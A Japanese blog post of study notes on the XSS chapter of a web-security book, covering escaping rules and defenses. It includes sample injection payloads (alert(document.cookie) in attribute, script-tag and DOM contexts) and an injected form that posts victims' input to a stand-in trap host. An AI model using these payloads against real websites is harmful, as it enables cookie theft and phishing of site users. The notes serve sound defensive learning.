@kyanny's blog

My life. Opinions are my own.

4. Webアプリケーションの機能別に見るセキュリティバグ (4.3 表示処理に伴う問題)

この本最初のハイライト、ってところかな。線引き始めるとキーワードだけじゃなくてそこらじゅう真っ赤に塗りつぶしそう。

XSS 基本編

  • 概要
    • サイト利用者のブラウザ上で、攻撃者の用意したスクリプトの実行によりクッキーを盗まれる(なりすまし)
    • ブラウザ上でスクリプトを実行させられ、利用者の権限で Web アプリケーションの機能を悪用される
    • ニセの入力フォームが表示され、フィッシングにより利用者が個人情報を盗まれる

XSS脆弱性の対策は、表示の際に、HTMLで特殊な意味を持つ記号文字(メタ文字)をエスケープすることです。

  • 攻撃手法
    • クッキー値の読み出し(なりすまし)
    • JavaScript による攻撃
    • 画面の書き換え(フィッシング)
  • 具体的なシナリオ(クッキー値の読み出し)
    1. 罠サイトの iframe 内で脆弱なサイトが表示される(スタイル当てて隠せるのでパッと見わからない)
    2. 脆弱なサイトの XSS があるページで XSS が発動 -> クッキーをクエリストリングにつけて攻撃者のページへ遷移
    3. 遷移先でクエリストリングの値を収集(アクセスログにも残る) -> なりすまし
  • IE8, XSS フィルター
  • JavaScript による攻撃 -> ワーム、偽の書き込み、個人情報の収集
  • 画面の書き換え
  • ログイン機能のないサイトでも起こり得る、危険
  • 具体的なシナリオ(画面の書き換え)
    • input タグの value 属性がエスケープ漏れ
    • </form><form acton="http://trap.example.com/...">...</form> という HTML を注入(POST な form を CSS でリンクに見せかけるテクニック)
    1. </form> で元サイトの本来の form 要素が終了する
    2. 注入された HTML で新しい form 要素が開始され、 style 属性で元のフォームの真上にかぶさる
    3. action 属性の URL (POST する先) が罠サイト -> フォーム送信した値がすべて盗まれる

このページの URL は元の粗大ゴミ受付センターのものと変わりません。また、このサイトが https のサイトだった場合は、証明書も正規のものになります。このため、このページが偽物であることを見破る手がかりはありません。

このように、 XSS 攻撃は常に JavaScript を使うとは限らないので、 script 要素だけに注目した対策(script という単語を削除するなど)は攻撃者によって回避される危険性があります。また、利用者が JavaScript を無効にしていても被害にあう可能性があります。

    • これまさに誤解していた。 XSS == JavaScript でクッキーの値を盗まれる脆弱性、という風に思ってしまっていた。 HTML 注入のケースは意識が薄かったので、これを機会にしっかり勉強しなおそう。
  • 反射型と持続型
    • 攻撃されたウェブサイトのデータベース内などに攻撃用コードが保存され、永続的に呼び出し表示され続けるものが持続型
  • 脆弱性が生まれる原因
    • HTML 生成の際に、 HTML の文法上特別な意味を持つ特殊記号(メタ文字)を正しく扱っていない
    • 開発者の意図しない形で HTML や JavaScript を注入・変形される
    • メタ文字の持つ特殊な意味を打ち消し、文字そのものとして扱う == エスケープ
  • HTML エスケープの概要
    • HTML のデータは構文上の場所に応じてエスケープすべきメタ文字が変わる
      • 要素内容 -> タグと文字参照が解釈される -> `<' で終端(`<' はタグの開始なので、要素内容というデータ部分を終端する) -> `<' と `&' をエスケープ
      • 属性値 -> 文字参照が解釈される -> `"' で終端(属性値は必ずダブルクォートで囲む) -> `<' と `"' と `&' をエスケープ
      • いずれも `&' がエスケープ対象に含まれているのはなんでなんだっけ・・・ & + 文字参照をあらわすコード、で文字参照を好きに書かれてしまい、それが解釈されて XSS が起こりうるからかな?
  • 要素内容の XSS
  • 引用符で囲まない属性値の XSS
    • 1+onmouseover%3dalert(document.cookie)
    • + == URL エンコードされたホワイトスペース、 %3d == URL エンコードされた = なので、 value=1 onmouseover=alert(document.cookie) という HTML に展開され、 onmouseover 属性の注入が起こる

属性値を引用符で囲まない場合、空白で属性値の終わりになるので、空白をはさんで属性値を追加することができます。

  • 引用符で囲った属性値の XSS
    • `"' をエスケープしていないと、引用符で囲っていても終端させられてしまい属性値の追加が起こり得る
    • "+onmouseover%3d"alert(document.cookie)
    • value="" onmouseover="alert(document.cookie)" という HTML に展開される(強調部分が注入された部分、左端の引用符で value 属性の値を終端し、右端の引用符でもともと value 属性を囲っているはずだった引用符の対応をとる)
  • 対策
    • 要素内容については「<」と「&」をエスケープする
    • 属性値については、ダブルクォートで囲って、「<」と「"」と「&」をエスケープする
    • レスポンスの文字エンコーディングを指定する
  • 保険的対策(根本的な解決ではないが被害を軽減できる可能性がある)
    • 入力値検証(半角英数のみ、など)
    • クッキーの HttpOnly 属性(JavaScript からクッキーの読み出し禁止、セッションID盗めなくなる、しかし外の XSS 防止にはならない)
    • TRACE メソッドの無効化(クロスサイトトレーシング XST)

XST は、 JavaScript により HTTP の TRACE メソッドを送信することにより、クッキー値や BASIC 認証のパスワードを盗みだす手法です。

      • これどういう仕組みなのかさっぱりわからないな・・・

XSS 発展編

  • 外部から変更可能なパラメータが置かれている場所によってエスケープ処理も変わる
  • href, src
    • a, img, frame, iframe
    • javascript: スキーム (vbscript: スキーム)
    • HTML のエスケープ漏れではないので違った対策が必要
    • URL 生成時に http: https: で始まる絶対 URL かチェック (または / で始まる絶対パス参照)
      • チェックが通ったものはさらに属性値として HTML エスケープ(パーセントエンコード)
    • リンク先ドメインのチェック
  • JavaScript の動的生成
    • イベントハンドラ
<body onload="init('<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES) ?>')">

name=');alert(document.cookie)//

<body onload="init('&#39;);alert(document.cookie)//')">

# onload イベントハンドラは属性値として文字参照が解釈される -> &#39; が ' とみなされる
init('');alert(document.cookie)//')
    • init 関数の引数となる文字列リテラルが勝手に終了させられ、第2の文が挿入される
    • 入力パラメータ中のシングルクォート「'」が、データとしての文字「'」ではなく、 JavaScript の文字列の終端に使われてしまった
    • JavaScript の文字列リテラルのエスケープ漏れが原因
    1. まずデータを JavaScript 文字列リテラルとしてエスケープする
    2. この結果を HTML エスケープする
  • script 要素
    • script 要素はタグや文字参照を解釈しない -> JavaScript の文字列リテラルのエスケープをする(それだけではダメ)
<script>
  $('#name').text('<?php echo htmlspecialchars($_GET['name']); ?>');
</script>

# 入力中に </script> があると強制的に script タグが終端される
<script>
  foo('</script>');
</script>

script 要素内の終端は、 JavaScript としての文脈を一切考慮しないので、最初に「」が出現した時点で script 要素は終わるからです。

ブラウザは JavaScript の文法を考慮せずに、 で囲まれた部分を JavaScript 実行エンジンに渡す

  • これを悪用して以下の入力により XSS が発生する
</script><script>alert(document.cookie)//

# さっきの foo のやつに入力して置き換えるとこうなる
# JavaScript の単一行コメントアウト // により行末の '); がコメントアウトされる
<script>
  foo('</script><script>alert(document.cookie)//');
</script>

HTML の規格では、 script 要素内のデータには「

    • JavaScript の文字列リテラルの動的生成の対策
      • いろいろ複雑なので可能ならば JavaScript を動的生成するのは避けたほうが良い
      • Unicode エスケープによる対策 (\uXXXX)
      • JavaScript の動的生成には危険が伴う -> 英数字以外をすべてエスケープする手法
      • script 要素の外部でパラメータを定義して JavaScript から参照する方法 (hidden)

JavaScript の動的生成を避けるという原則に従うためには、 script 要素の外側でパラメータを定義して、 JavaScript 側から参照するという方法もあります。

      • 少数の原則だけで XSS 対策ができる -> 基本的にこれを採用するのが良さそう
  • DOM based XSS
document.URL.match(/name=[^&]*)/);

http://example.jp/?name=<script>alert(document.cookie)</script>
    • サーバ側で生成した HTML には攻撃者の注入した JavaScript は現れない -> DOM based XSS と呼ぶ(なんか違和感あるというか何故サーバサイドが絡まない == DOM なのかがわからない)
    • jQuery の .text とかで < をエスケープさせる
  • HTML タグや CSS の入力を許す場合の対策 -> 構文解析するライブラリ

エラーメッセージからの情報漏洩

  • エラー抑止しろ的な

まとめ

  • XSS の原因は表示方法の間違い(エスケープ漏れ)
  • 正しい HTML を出力する